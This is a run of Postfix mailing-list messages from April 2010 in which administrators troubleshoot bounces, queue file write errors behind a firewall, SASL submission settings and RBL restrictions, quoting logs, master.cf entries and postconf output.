CT wrote: Noel Jones wrote: On 4/18/2010 4:40 PM, groups wrote: Noel Jones wrote, On 04/18/2010 04:20 PM: On 4/18/2010 4:16 PM, groups wrote: Postfix logs help you know what happened to a particular message. Look in your logs for bounces (sender=) arriving from your relayhost, and see what postfix does with it. No need to wonder where they went. -- Noel Jones A lot of the send only hosts have only an IP (not in DNS) Look in the logs for the IP to find associated QUEUEIDs. Apr 18 16:01:24 mailhost postfix/qmgr[3283]: 5BE9956799: from=, size=89424, nrcpt=1 (queue active) Look in the logs for other entries with that same QUEUEID 5BE9956799 to see other information associated with that transaction. only 1 entry per transaction ID.. notthing in /var/spool/postfix ... ok.. and found something interesting.. Apr 18 16:01:22 mailhost postfix/qmgr[3283]: 04C2A56799: from=, size=83199, nrcpt=1 (queue active) Apr 18 16:01:22 mailhost postfix/qmgr[3283]: 2B54756799: from=, size=83614, nrcpt=1 (queue active) Apr 18 16:01:22 mailhost postfix/qmgr[3283]: 4D99856799: from=, size=84029, nrcpt=1 (queue active) Apr 18 16:01:22 mailhost postfix/qmgr[3283]: 7B1F756799: from=, size=8, nrcpt=1 (queue active) Apr 18 16:01:22 mailhost postfix/qmgr[3283]: 9BD4456799: from=, size=84859, nrcpt=1 (queue active) Apr 18 16:01:22 mailhost postfix/qmgr[3283]: BF6DC56799: from=, size=85274, nrcpt=1 (queue active) Apr 18 16:01:22 mailhost postfix/qmgr[3283]: E147056799: from=, size=85689, nrcpt=1 (queue active) All have the same invalid recipient.. These show the sender and number of recipients = 1; the recipient address is listed in a different log line. That seems like an awful lot of bounces in a short period of time. Sending lots of mail to undeliverable addresses is a red flag that something is wrong -- such as a badly outdated mail list, or a compromised machine spewing spam. One of your tasks is to investigate why there are so many bounces, and find a way to reduce them. Sending large amounts of undeliverable mail will have a bad effect on your server's reputation and may eventually lead to blacklisting. Almost looks like it is ping-ponging back and forth between the *master-relay* and my relay.. Messages with the null sender are never bounced, they must be delivered or discarded. Bounces are always sent with the null sender. This prevents bounces from ever looping (except in rare cases of stupid user tricks such as a .forward that rewrites to something else -- don't do that). Further information about those messages can be found in the logs. I have seen this invalid recipient on the old Sendmail box.. and it ended up in my queue then expires.. (the sender host has been out of the office when I tried to contact them) so it looks like I have something not right.. there is nothing in mailq.. Charles You need to examine the log further. If there's a problem, postfix will likely tell you what it is, or at least give you a better idea of where to look. Postfix generates several log lines for each message. You need to look at *all* the lines with the same QUEUEID to see what happened to a message. Logs for a single message look something like this below (with my comments). Because postfix can process many messages in parallel, logs for a single message may be separated by a considerable number of unrelated log entries. There may be more or fewer entries depending on what happens with a transaction, but this is fairly typical. Apr 18 00:00:20 mgate2 postfix/smtpd[91955]: connect from private.webmail.example.org[192.168.70.47] to smtpd (client connected; the hostname and IP are logged) Apr 18 00:00:20 mgate2 postfix/smtpd[91955]: 1A2C779788F: client=private.webmail.example.org[192.168.70.47] (the QUEUEID 1A2C779788F is assigned. That means there was at least one recipient accepted and a queue file was created. Future lines pertaining to this specific message will include this same QUEUEID) Apr 18 00:00:20 mgate2 postfix/cleanup[92028]: 1A2C779788F: message-id=1100418.aa11...@example.org (the Message-id: header is logged. This is a helpful unique message identifier when searching the logs for a specific message.) Apr 18 00:00:20 mgate2 postfix/qmgr[95868]: 1A2C779788F: from=, size=382, nrcpt=1 (queue active) (envelope sender, size, number of recipients, which queue it's assigned to) Apr 18 00:00:20 mgate2 postfix/smtpd[91955]: disconnect from private.webmail.vbhcs.org[192.168.70.47] (postfix has disconnected from the client. This line can be related to the connect line above by the smtpd process id, in this case 91955) Apr 18 00:00:20 mgate2 postfix/local[94393]: 1A2C779788F: to=njo...@example.org, relay=local, delay=0.11, delays=0.05 /0.03/0/0.02, dsn=2.0.0, status=sent (delivered to maildir) (the mail was delivered to a local user) Apr 18 00:00:20 mgate2 postfix/qmgr[95868]: 1A2C779788F: removed (postfix completed this
Re: Using Sasl authentication and RBL
On Wed, Apr 21, 2010 at 09:49:49PM -0500, Noel Jones wrote: submission is commented out in the default postfix config because a relatively small subset of folks using postfix need it, and it's not nice to open ports not needed. I would say that the subset is (or will soon be) a majority of sites, given the widespread blocking of port 25 for end users. However, as a default, it would not make sense to enable submission, because it relies on external software to provide SASL AUTH. Postfix is designed to work stand-alone, out of the box. In another part of this thread, the OP mentioned having read that smtpd_delay_reject = no was a good idea. Much thought has gone into Postfix default settings. Sometimes these defaults need to be changed for a site, but the best thing to do is to consult the documentation and find what the reasoning was for the default setting. The default smtpd_delay_reject=yes makes good sense in most cases. Inexperienced people often think that getting rid of them at CONNECT is going to save bandwidth, but there is no evidence to support this. It's just as likely that poorly-coded spam clients are going to connect again and keep trying. Penny wise, pound foolish. -- Offlist mail to this address is discarded unless /dev/rob0 or not-spam is in Subject: header
Re: [OT] sql lower (WAS: OT: Cyrus-sasl + virtual_mailbox_maps query - lowercase username)
Charles Marcus a écrit :
On 2010-04-21 5:53 PM, mouss wrote:
Charles Marcus a écrit :
I know this isn't exactly a postfix question, but I'm hoping someone
will have pity on me and answer anyway...
I have a server using postfix+courier-imap+cyrus-sasl. Currently the
query in virtual_mailbox_maps is:
query = SELECT maildir FROM mailbox WHERE username='%s'
If I want to force the supplied username to lowercase, would I change it to:
query = SELECT maildir FROM mailbox WHERE username=LOWER('%s')
yes. but, in mysql at least, the default is case insensitive. so you
don't need that.
Ok, well, I'm using postfixadmin, and it must not have set up the
username field as case-insensitive, because mixed case username auth
attempts fail. I'll go check with the postfixadmin list and see if there
is an even simpler way to do this (lowercase usernames, and append a
default domain if one isn't supplied)...
I doubt postfixadmin plays with case. you'll have to check your mysql
directly.
Anyway, the server in question is using
courier-imap+courier-authlib/cyrus-sasl, so I was able to fix this in
authmysqlrc for now (I'll be converting them to dovecot soon)...
[mailer-dae...@doctor.nl2k.ab.ca: Postfix SMTP server: errors from mail-iw0-f172.google.com[209.85.223.172]]
First off apologies for the rather sharp tone: A case of too many agngry customers breathing down the neck. Anyhow I have been since recover been getting many of these: - Forwarded message from Mail Delivery System mailer-dae...@doctor.nl2k.ab.ca - X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on doctor.nl2k.ab.ca X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: postmaster Delivered-To: postmas...@doctor.nl2k.ab.ca Date: Thu, 22 Apr 2010 14:52:20 -0600 (MDT) From: Mail Delivery System mailer-dae...@doctor.nl2k.ab.ca To: Postmaster postmas...@doctor.nl2k.ab.ca Subject: Postfix SMTP server: errors from mail-iw0-f172.google.com[209.85.223.172] Transcript of session follows. Out: 220 doctor.nl2k.ab.ca ESMTP Postfix (2.8-20100323) In: mail-iw0-f172.google.com Out: 402 4.5.2 Error: command not recognized In: HELO mail-iw0-f172.google.com Out: 250 doctor.nl2k.ab.ca In: MAIL FROM:supressed Out: 250 2.1.0 Ok In: RCPT TO:surpressed Out: 250 2.1.5 Ok In: DATA Out: 354 End data with CRLF.CRLF Out: 451 4.3.0 Error: queue file write error In: QUIT Out: 221 2.0.0 Bye For other details, see the local mail logfile - End forwarded message - And I get the customer saying : I am getting repeated e-mails coming through. Questions: Has anyone seen this happen before ? Do you need to see my master.cf / main.cf files? -- Member - Liberal International This is doc...@nl2k.ab.ca Ici doc...@nl2k.ab.ca God, Queen and country! Never Satan President Republic! Beware AntiChrist rising! http://twitter.com/rootnl2k http://www.facebook.com/dyadallee UK Time for a Common Sense change vote Liberal Democrat / Alliance
Re: [mailer-dae...@doctor.nl2k.ab.ca: Postfix SMTP server: errors from mail-iw0-f172.google.com[209.85.223.172]]
On Thu, 22 Apr 2010 15:38:06 -0600 The Doctor doc...@doctor.nl2k.ab.ca wrote: Out: 220 doctor.nl2k.ab.ca ESMTP Postfix (2.8-20100323) In: mail-iw0-f172.google.com Out: 402 4.5.2 Error: command not recognized is not a valid SMTP/ESMTP command. Are you using a Pix? Out: 451 4.3.0 Error: queue file write error I believe that will show up in an SMTP (ie, not ESMTP) session where the SIZE attribute is neither specified nor read from the ESMTP response. Ie, send a file larger than the max size and don't bother telling the receiver 'oh, yeah, here comes a 20M file' first. The ESMTP response (which would be seen if the was EHLO) tells the maximum message size, and ESMTP also allows for a SIZE= parameter on the MAIL FROM: as a sort of 'warning' to the receiver as well. Google -does- usually use ESMTP, so it really looks like you have a Pix running SMTP Fixup, which doesn't fix anything at all.
Re: Using Sasl authentication and RBL
On 04/22/10 19:21, /dev/rob0 wrote: On Wed, Apr 21, 2010 at 09:49:49PM -0500, Noel Jones wrote: submission is commented out in the default postfix config because a relatively small subset of folks using postfix need it, and it's not nice to open ports not needed. I would say that the subset is (or will soon be) a majority of sites, given the widespread blocking of port 25 for end users. However, as a default, it would not make sense to enable submission, because it relies on external software to provide SASL AUTH. Postfix is designed to work stand-alone, out of the box. In another part of this thread, the OP mentioned having read that smtpd_delay_reject = no was a good idea. Much thought has gone into Postfix default settings. Sometimes these defaults need to be changed for a site, but the best thing to do is to consult the documentation and find what the reasoning was for the default setting. The default smtpd_delay_reject=yes makes good sense in most cases. Inexperienced people often think that getting rid of them at CONNECT is going to save bandwidth, but there is no evidence to support this. It's just as likely that poorly-coded spam clients are going to connect again and keep trying. Penny wise, pound foolish. I haven't tried whether my sasl auth on default port works now, but I have noticed a huge increase in spam getting passed; I haven't looked if I can do RBL in amavis (i should?) But postfix isn't rejecting any RBL anymore with the SMTP relay yes? I'm sorry for not knowing all I should know, i'm no postfix expert :) and I thought I understood it, but not well enough it seems. I suppose I could override smtpd_delay on port 587 via master.cf and have it set to 'no' in my postfix.conf, and just live with the idea that port 25 is kinda off limits for regular 'users' from now on? It sits wrong with me in a sense, but I'm sure i just don't get postfix's main.cf enough :( oliver
Re: [mailer-dae...@doctor.nl2k.ab.ca: Postfix SMTP server: errors from mail-iw0-f172.google.com[209.85.223.172]]
The Doctor wrote, On 4/22/10 5:38 PM: First off apologies for the rather sharp tone: A case of too many agngry customers breathing down the neck. Anyhow I have been since recover been getting many of these: - Forwarded message from Mail Delivery Systemmailer-dae...@doctor.nl2k.ab.ca - X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on doctor.nl2k.ab.ca X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: postmaster Delivered-To: postmas...@doctor.nl2k.ab.ca Date: Thu, 22 Apr 2010 14:52:20 -0600 (MDT) From: Mail Delivery Systemmailer-dae...@doctor.nl2k.ab.ca To: Postmasterpostmas...@doctor.nl2k.ab.ca Subject: Postfix SMTP server: errors from mail-iw0-f172.google.com[209.85.223.172] Transcript of session follows. Out: 220 doctor.nl2k.ab.ca ESMTP Postfix (2.8-20100323) In: mail-iw0-f172.google.com Out: 402 4.5.2 Error: command not recognized This looks like the behavior of a broken firewall playing games with (E)SMTP commands. The Google client machine almost certainly said 'EHLO' and something between it and Postfix decided to replace that with '' so that it would back off to baseline SMTP. That alone is not necessarily evil, but every example of firewalls trying that sort of intrusion into the application layer of mail (most of them done by Cisco) has resulted in bad breakage. That firewall may or may not be the cause of your current trouble, but allowing it to do such things will cause you trouble. In: HELO mail-iw0-f172.google.com Out: 250 doctor.nl2k.ab.ca In: MAIL FROM:supressed Out: 250 2.1.0 Ok In: RCPT TO:surpressed Out: 250 2.1.5 Ok In: DATA Out: 354 End data withCRLF.CRLF Out: 451 4.3.0 Error: queue file write error http://www.postfix.org/SMTPD_PROXY_README.html explains one possible source of this: inability to connect to a before-queue proxy. Others include permissions and storage space issues with your queue directory and various other configuration errors. What is sent back to the client in this class of circumstances is documented as being intentionally vague so you really do need to look at the log for useful info. In: QUIT Out: 221 2.0.0 Bye For other details, see the local mail logfile You need to do that. See http://www.postfix.org/DEBUG_README.html#logging - End forwarded message - And I get the customer saying : I am getting repeated e-mails coming through. As that session shows no message being received, it is not involved in any sort of repeats. Questions: Has anyone seen this happen before ? A few seconds with Google could have answered that question for you. The answer I get from skimming a few results is Yes, and it seems to be a particular problem for people using Plesk. That is probably not a very useful answer, but it was a very broad question. Do you need to see my master.cf / main.cf files? See http://www.postfix.org/DEBUG_README.html#mail In general, 'postconf -n' output is better than passing along all of main.cf, because it provides just the non-default configurations that postfix is actually using. The uncommented lines from master.cf can sometimes be helpful as well, but they can often be inferred from log entries.
Re: Set submission as to bypass RBLs
Quoting Noel Jones njo...@megan.vbhcs.org:
On 4/22/2010 7:59 AM, webmas...@aus-city.com wrote:
Sorry its got all truncated. Where exactly do I need to add that in
here? (I added a extra line between each)
plesk_virtual unix - n n - - pipe flags=DORhu user=popuser:popuser
argv=/usr/lib/plesk-9.0/postfix-local -f ${sender} -d ${recipient} -p
/var/qmail/mailnames
mailman unix - n n - - pipe flags=R user=mailman:mailman
argv=/usr/lib/plesk-9.0/postfix-mailman ${nexthop} ${user} ${recipient}
127.0.0.1:10025 inet n n n - - spawn user=mhandlers-user
argv=/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10027 before-queue
127.0.0.1:10026 inet n - - - - smtpd -o smtpd_client_restrictions= -o
smtpd_helo_restrictions= -o smtpd_sender_restrictions= -o
smtpd_recipient_restrictions=permit_mynetworks,reject -o
smtpd_data_restrictions= -o
receive_override_options=no_unknown_recipient_checks
127.0.0.1:10027 inet n n n - - spawn user=mhandlers-user
argv=/usr/lib/plesk-9.0/postfix-queue 127.0.0.1 10026 before-remote
plesk_saslauthd unix y y y - 1 plesk_saslauthd status=5 listen=6
dbpath=/plesk/passwd.db
smtps inet n - - - - smtpd -o smtpd_proxy_filter=127.0.0.1:10025 -o
smtpd_tls_wrappermode=yes
submission inet n - - - - smtpd -o smtpd_enforce_tls=yes -o
smtpd_sasl_auth_enable=yes -o
smtpd_client_restrictions=permit_sasl_authenticated,reject -o
smtpd_sender_restrictions= -o smtpd_proxy_filter=127.0.0.1:10025
Add here (to the submission entry)
-o smtpd_helo_restrictions=
-o smtpd_recipient_restrictions=permit_sasl_authenticated,reject
You may also want to add these to the smtps entry.
But this won't fix the problem of the client not authenticating.
-- Noel Jones
Hi Noel,
I made the changes as you suggested. My submission line in master now is:
submission inet n - - - - smtpd -o smtpd_enforce_tls=yes -o
smtpd_sasl_auth_enable=yes -o
smtpd_client_restrictions=permit_sasl_authenticated,reject -o
smtpd_sender_restrictions= -o smtpd_proxy_filter=127.0.0.1:10025 -o
smtpd_helo_restrictions= -o
smtpd_recipient_restrictions=permit_sasl_authenticated,reject
Re: [mailer-dae...@doctor.nl2k.ab.ca: Postfix SMTP server: errors from mail-iw0-f172.google.com[209.85.223.172]]
On Thu, Apr 22, 2010 at 06:35:52PM -0400, Bill Cole wrote: The Doctor wrote, On 4/22/10 5:38 PM: First off apologies for the rather sharp tone: A case of too many agngry customers breathing down the neck. Anyhow I have been since recover been getting many of these: - Forwarded message from Mail Delivery Systemmailer-dae...@doctor.nl2k.ab.ca - X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on doctor.nl2k.ab.ca X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: postmaster Delivered-To: postmas...@doctor.nl2k.ab.ca Date: Thu, 22 Apr 2010 14:52:20 -0600 (MDT) From: Mail Delivery Systemmailer-dae...@doctor.nl2k.ab.ca To: Postmasterpostmas...@doctor.nl2k.ab.ca Subject: Postfix SMTP server: errors from mail-iw0-f172.google.com[209.85.223.172] Transcript of session follows. Out: 220 doctor.nl2k.ab.ca ESMTP Postfix (2.8-20100323) In: mail-iw0-f172.google.com Out: 402 4.5.2 Error: command not recognized This looks like the behavior of a broken firewall playing games with (E)SMTP commands. The Google client machine almost certainly said 'EHLO' and something between it and Postfix decided to replace that with '' so that it would back off to baseline SMTP. That alone is not necessarily evil, but every example of firewalls trying that sort of intrusion into the application layer of mail (most of them done by Cisco) has resulted in bad breakage. That firewall may or may not be the cause of your current trouble, but allowing it to do such things will cause you trouble. In: HELO mail-iw0-f172.google.com Out: 250 doctor.nl2k.ab.ca In: MAIL FROM:supressed Out: 250 2.1.0 Ok In: RCPT TO:surpressed Out: 250 2.1.5 Ok In: DATA Out: 354 End data withCRLF.CRLF Out: 451 4.3.0 Error: queue file write error http://www.postfix.org/SMTPD_PROXY_README.html explains one possible source of this: inability to connect to a before-queue proxy. Others include permissions and storage space issues with your queue directory and various other configuration errors. What is sent back to the client in this class of circumstances is documented as being intentionally vague so you really do need to look at the log for useful info. Might be the cause. I am running amavis on 10024/5 and clamsmtp on 10125/6 In: QUIT Out: 221 2.0.0 Bye For other details, see the local mail logfile You need to do that. See http://www.postfix.org/DEBUG_README.html#logging Will do. - End forwarded message - And I get the customer saying : I am getting repeated e-mails coming through. As that session shows no message being received, it is not involved in any sort of repeats. Questions: Has anyone seen this happen before ? A few seconds with Google could have answered that question for you. The answer I get from skimming a few results is Yes, and it seems to be a particular problem for people using Plesk. That is probably not a very useful answer, but it was a very broad question. Do you need to see my master.cf / main.cf files? See http://www.postfix.org/DEBUG_README.html#mail In general, 'postconf -n' output is better than passing along all of main.cf, because it provides just the non-default configurations that postfix is actually using. The uncommented lines from master.cf can sometimes be helpful as well, but they can often be inferred from log entries. -- Member - Liberal International This is doc...@nl2k.ab.ca Ici doc...@nl2k.ab.ca God, Queen and country! Never Satan President Republic! Beware AntiChrist rising! http://twitter.com/rootnl2k http://www.facebook.com/dyadallee UK Time for a Common Sense change vote Liberal Democrat / Alliance
Re: Using Sasl authentication and RBL
On 04/23/10 00:45, Noel Jones wrote: On 4/22/2010 5:16 PM, Oliver Schinagl wrote: On 04/22/10 19:21, /dev/rob0 wrote: On Wed, Apr 21, 2010 at 09:49:49PM -0500, Noel Jones wrote: submission is commented out in the default postfix config because a relatively small subset of folks using postfix need it, and it's not nice to open ports not needed. I would say that the subset is (or will soon be) a majority of sites, given the widespread blocking of port 25 for end users. However, as a default, it would not make sense to enable submission, because it relies on external software to provide SASL AUTH. Postfix is designed to work stand-alone, out of the box. In another part of this thread, the OP mentioned having read that smtpd_delay_reject = no was a good idea. Much thought has gone into Postfix default settings. Sometimes these defaults need to be changed for a site, but the best thing to do is to consult the documentation and find what the reasoning was for the default setting. The default smtpd_delay_reject=yes makes good sense in most cases. Inexperienced people often think that getting rid of them at CONNECT is going to save bandwidth, but there is no evidence to support this. It's just as likely that poorly-coded spam clients are going to connect again and keep trying. Penny wise, pound foolish. I haven't tried whether my sasl auth on default port works now, but I have noticed a huge increase in spam getting passed; I haven't looked if I can do RBL in amavis (i should?) But postfix isn't rejecting any RBL anymore with the SMTP relay yes? Unrelated. The setting of smtpd_delay_reject will have no effect on RBL lookups. If your RBLs aren't working anymore, you should double check the other things you changed. You should leave smtpd_delay_reject at its default setting of yes unless you have a full understanding of why you might or might not want to change it. Indeed, all the postfix default settings are carefully chosen and shouldn't be changed without careful research or advice from a reliable source[1]. [1]Advice you receive on this list can be considered peer-reviewed and reliable. Advice found on the postfix.org web site can be considered authoritative and accurate. Advice found on some google-suggested web site may or may not have been peer-reviewed, and may or may not be accurate or current; use with caution. If you need help, you know the drill -- postconf -n and logs showing the problem. Well what I'm after is the following: Postfix should be nice and locked, no relaying or anything like that; backup_max's should be allowed to relay of course, and users who have logged in properly via, say thunderbird (using sasl_auth). Also I would like to use public RBL's to lower the load on my spamfilter etc so they shouldn't even come in. Here's what I have in my postconf now: biff = no broken_sasl_auth_clients = no command_directory = /usr/sbin config_directory = /etc/postfix daemon_directory = /usr/lib64/postfix data_directory = /var/lib/postfix debug_peer_level = 1 disable_vrfy_command = yes home_mailbox = .maildir/ html_directory = /usr/share/doc/postfix-2.6.5/html mail_owner = postfix mailq_path = /usr/bin/mailq manpage_directory = /usr/share/man message_size_limit = 2048 mydomain = example.com myhostname = foo.example.com mynetworks_style = host newaliases_path = /usr/bin/newaliases queue_directory = /var/spool/postfix readme_directory = /usr/share/doc/postfix-2.6.5/readme recipient_delimiter = + relay_domains = pgsql:/etc/postfix/pgsql/pgsql-relay-domains-maps.cf sendmail_path = /usr/sbin/sendmail setgid_group = postdrop smtpd_banner = $myhostname NO UCE ESMTP smtpd_client_restrictions = permit_mynetworks, permit_sasl_authenticated, permit_mx_backup, reject_rbl_client zen.spamhaus.org, reject_rbl_client cbl.abuseat.org, reject_rbl_client bl.spamcop.net smtpd_delay_reject = yes smtpd_helo_required = yes smtpd_helo_restrictions = reject_invalid_hostname smtpd_recipient_restrictions = permit_mynetworks, permit_sasl_authenticated, permit_mx_backup, check_policy_service inet:127.0.0.1:2525, reject_unauth_destination smtpd_sasl_auth_enable = yes smtpd_sasl_authenticated_header = no smtpd_sasl_local_domain = smtpd_sasl_security_options = noanonymous smtpd_tls_CAfile = /etc/ssl/certs/cacert.org.pem smtpd_tls_auth_only = no smtpd_tls_cert_file = /etc/postfix/ssl/smtp.example.com_server.pem smtpd_tls_key_file = /etc/postfix/ssl/smtp.example.com_privatekey.pem smtpd_tls_loglevel = 0 smtpd_tls_received_header = yes smtpd_tls_session_cache_timeout = 3600s smtpd_use_tls = yes soft_bounce = no tls_random_source = dev:/dev/urandom unknown_local_recipient_reject_code = 550 virtual_alias_maps = pgsql:/etc/postfix/pgsql/pgsql-virtual-alias-maps.cf virtual_gid_maps = pgsql:/etc/postfix/pgsql/pgsql-virtual-gid-maps.cf virtual_mailbox_base = /var/vmail virtual_mailbox_domains = pgsql:/etc/postfix/pgsql/pgsql-virtual-mailbox-domains.cf virtual_mailbox_limit_maps =
Re: Using Sasl authentication and RBL
Quoting Noel Jones njo...@megan.vbhcs.org: On 4/22/2010 8:00 AM, webmas...@aus-city.com wrote: Quoting Noel Jones njo...@megan.vbhcs.org: On 4/22/2010 12:10 AM, David Cottle wrote: I tried running testsaslauthd -u usermailname -p matchingpass -s smtp I get connect () : No such file or directory You need to debug your sasl installation. -- Noel Jones Hi Noel, Any idea where to start as this is probably why its failing? Thanks Start here: http://www.postfix.org/SASL_README.html It's possible that only your test is failing, and your sasl is actually working. If your sasl is really borked, there should be other errors logged by postfix. Check the postfix logs. If some people are able to authenticate, then it's probably just your test that's broken. I use dovecot for sasl, so I can't provide further help in debugging cyrus auth problems. Someone else will jump in if you post proper evidence. -- Noel Jones Hi Noel, Seems its plesk and not logging everything in the logs. It uses its own logging for mail, I could not find my successful login (below). The saslauthd is not running, but plesk must start use another process to do this, but its is running: But it is running and verifies (I did this on a remote server) telnet xxx 587 Trying xxx... Connected to xxx. Escape character is '^]'. 220 xxx ESMTP Postfix ehlo xxx. 250-xxx 250-PIPELINING 250-SIZE 2048 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH DIGEST-MD5 CRAM-MD5 PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN mail from: xxx 250 2.1.0 Ok quit 221 2.0.0 Bye Connection closed by foreign host. I will have to check out my client as its only local to him alone. Also as I did say he runs multiple OS on the same machine and one works perfectly. Lastly digging in my logs, I found this: Apr 23 04:23:28 server postfix/smtpd[24755]: connect from unknown[xx.xx.xx.xx] Apr 23 04:23:28 server postfix/smtpd[25116]: warning: 127.0.0.1: address not listed for hostname localhost Apr 23 04:23:28 server postfix/smtpd[25116]: connect from unknown[127.0.0.1] Any idea why? Its listed in the /etc/hosts file: ::1 localhost localhost.localdomain localhost6.localdomain6 localhost6 127.0.0.1 xx.xx.xx.xx xx.xx.xxserver localhost.localdomain localhost Thanks again!
Re: Using Sasl authentication and RBL
On 4/22/2010 6:19 PM, webmas...@aus-city.com wrote: Seems its plesk and not logging everything in the logs. It uses its own logging for mail, I could not find my successful login (below). The saslauthd is not running, but plesk must start use another process to do this, but its is running: Logs are important for solving problems and tracing what happened to mail. If you can't find logs, ask on a plesk support forum. Without proper logging, it's far more difficult to diagnose problems and offer correct solutions. But it is running and verifies (I did this on a remote server) telnet xxx 587 Trying xxx... Connected to xxx. Escape character is '^]'. 220 xxx ESMTP Postfix ehlo xxx. 250-xxx 250-PIPELINING 250-SIZE 2048 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH DIGEST-MD5 CRAM-MD5 PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN mail from: xxx 250 2.1.0 Ok quit 221 2.0.0 Bye Connection closed by foreign host. This shows that postfix is listening and offering AUTH on port 587, but not much else. It would be more interesting to try to authenticate as described in SASL_README (warning: don't post base64 encoded username/password to the list; they are trivially decoded.) I will have to check out my client as its only local to him alone. Also as I did say he runs multiple OS on the same machine and one works perfectly. Lastly digging in my logs, I found this: Apr 23 04:23:28 server postfix/smtpd[24755]: connect from unknown[xx.xx.xx.xx] Apr 23 04:23:28 server postfix/smtpd[25116]: warning: 127.0.0.1: address not listed for hostname localhost Apr 23 04:23:28 server postfix/smtpd[25116]: connect from unknown[127.0.0.1] Any idea why? Its listed in the /etc/hosts file: ::1 localhost localhost.localdomain localhost6.localdomain6 localhost6 127.0.0.1 xx.xx.xx.xx xx.xx.xx server localhost.localdomain localhost Maybe check your /etc/nsswitch.conf? This has no relation to any other problems you may be having. -- Noel Jones
Re: Using Sasl authentication and RBL
Quoting Noel Jones njo...@megan.vbhcs.org: On 4/22/2010 6:19 PM, webmas...@aus-city.com wrote: Seems its plesk and not logging everything in the logs. It uses its own logging for mail, I could not find my successful login (below). The saslauthd is not running, but plesk must start use another process to do this, but its is running: Logs are important for solving problems and tracing what happened to mail. If you can't find logs, ask on a plesk support forum. Without proper logging, it's far more difficult to diagnose problems and offer correct solutions. But it is running and verifies (I did this on a remote server) telnet xxx 587 Trying xxx... Connected to xxx. Escape character is '^]'. 220 xxx ESMTP Postfix ehlo xxx. 250-xxx 250-PIPELINING 250-SIZE 2048 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH DIGEST-MD5 CRAM-MD5 PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN mail from: xxx 250 2.1.0 Ok quit 221 2.0.0 Bye Connection closed by foreign host. This shows that postfix is listening and offering AUTH on port 587, but not much else. It would be more interesting to try to authenticate as described in SASL_README (warning: don't post base64 encoded username/password to the list; they are trivially decoded.) I will have to check out my client as its only local to him alone. Also as I did say he runs multiple OS on the same machine and one works perfectly. Lastly digging in my logs, I found this: Apr 23 04:23:28 server postfix/smtpd[24755]: connect from unknown[xx.xx.xx.xx] Apr 23 04:23:28 server postfix/smtpd[25116]: warning: 127.0.0.1: address not listed for hostname localhost Apr 23 04:23:28 server postfix/smtpd[25116]: connect from unknown[127.0.0.1] Any idea why? Its listed in the /etc/hosts file: ::1 localhost localhost.localdomain localhost6.localdomain6 localhost6 127.0.0.1 xx.xx.xx.xx xx.xx.xx server localhost.localdomain localhost Maybe check your /etc/nsswitch.conf? This has no relation to any other problems you may be having. -- Noel Jones Hi Noel, I do see some auth stuff in the logs, I put a snip: Apr 21 05:05:30 server pop3d: IMAP connect from @ [203.206.129.129]INFO: LOGIN, user...@xx.com, ip=[xx.xx.xx.xx] Apr 21 05:05:31 server postfix/smtpd[21639]: connect from unknown[xx.xx.xx.xx] Apr 21 05:05:31 server postfix/smtpd[21760]: warning: 127.0.0.1: address not listed for hostname localhost Apr 21 05:05:31 server postfix/smtpd[21760]: connect from unknown[127.0.0.1] Apr 21 05:05:31 server postfix/smtpd[21639]: NOQUEUE: client=unknown[xx.xx.xx.xx], sasl_method=PLAIN, sasl_username...@xx.com Apr 21 05:05:31 server postfix/smtpd[21760]: AE1E923EAC: client=unknown[xx.xx.xx.xx] I will do that test later and report. Here is my nsswitch.conf # # /etc/nsswitch.conf # # An example Name Service Switch config file. This file should be # sorted with the most-used services at the beginning. # # The entry '[NOTFOUND=return]' means that the search for an # entry should stop if the search in the previous entry turned # up nothing. Note that if the search failed due to some other reason # (like no NIS server responding) then the search continues with the # next entry. # # Legal entries are: # # nisplus or nis+ Use NIS+ (NIS version 3) # nis or yp Use NIS (NIS version 2), also called YP # dns Use DNS (Domain Name Service) # files Use the local files # db Use the local database (.db) files # compat Use NIS on compat mode # hesiod Use Hesiod for user lookups # [NOTFOUND=return] Stop searching if not found so far # # To use db, put the db in front of files for entries you want to be # looked up first in the databases # # Example: #passwd:db files nisplus nis #shadow:db files nisplus nis #group: db files nisplus nis passwd: files shadow: files group: files #hosts: db files nisplus nis dns hosts: files dns # Example - obey only what nisplus tells us... #services: nisplus [NOTFOUND=return] files #networks: nisplus [NOTFOUND=return] files #protocols: nisplus [NOTFOUND=return] files #rpc:nisplus [NOTFOUND=return] files #ethers: nisplus [NOTFOUND=return] files #netmasks: nisplus [NOTFOUND=return] files bootparams: nisplus [NOTFOUND=return] files ethers: files netmasks: files networks: files protocols: files rpc:files services: files netgroup: nisplus publickey: nisplus automount: files nisplus aliases:files nisplus
Re: Using Sasl authentication and RBL
On 4/22/2010 6:17 PM, Oliver Schinagl wrote: Well what I'm after is the following: Postfix should be nice and locked, no relaying or anything like that; backup_max's should be allowed to relay of course, and users who have logged in properly via, say thunderbird (using sasl_auth). Also I would like to use public RBL's to lower the load on my spamfilter etc so they shouldn't even come in. Here's what I have in my postconf now: mydomain = example.com myhostname = foo.example.com mynetworks_style = host OK, you're not defining mynetworks, permit_mynetworks should only allow your host's IPs. That's fine. relay_domains = pgsql:/etc/postfix/pgsql/pgsql-relay-domains-maps.cf Using relay_domains without relay_recipient_maps is strongly discouraged. Your queue will get clogged with undeliverable mail and eventually you'll be blacklisted as a backscatter source. smtpd_banner = $myhostname NO UCE ESMTP That must be smtpd_banner = $myhostname ESTMP comments... smtpd_client_restrictions = permit_mynetworks, permit_sasl_authenticated, permit_mx_backup, reject_rbl_client zen.spamhaus.org, reject_rbl_client cbl.abuseat.org, reject_rbl_client bl.spamcop.net permit_mx_backup is evil and disabling your RBL lookups. Don't use permit_mx_backup. If you run a backup MX for other domains, list those domains in relay_domains and the recipients in relay_recipient_maps. 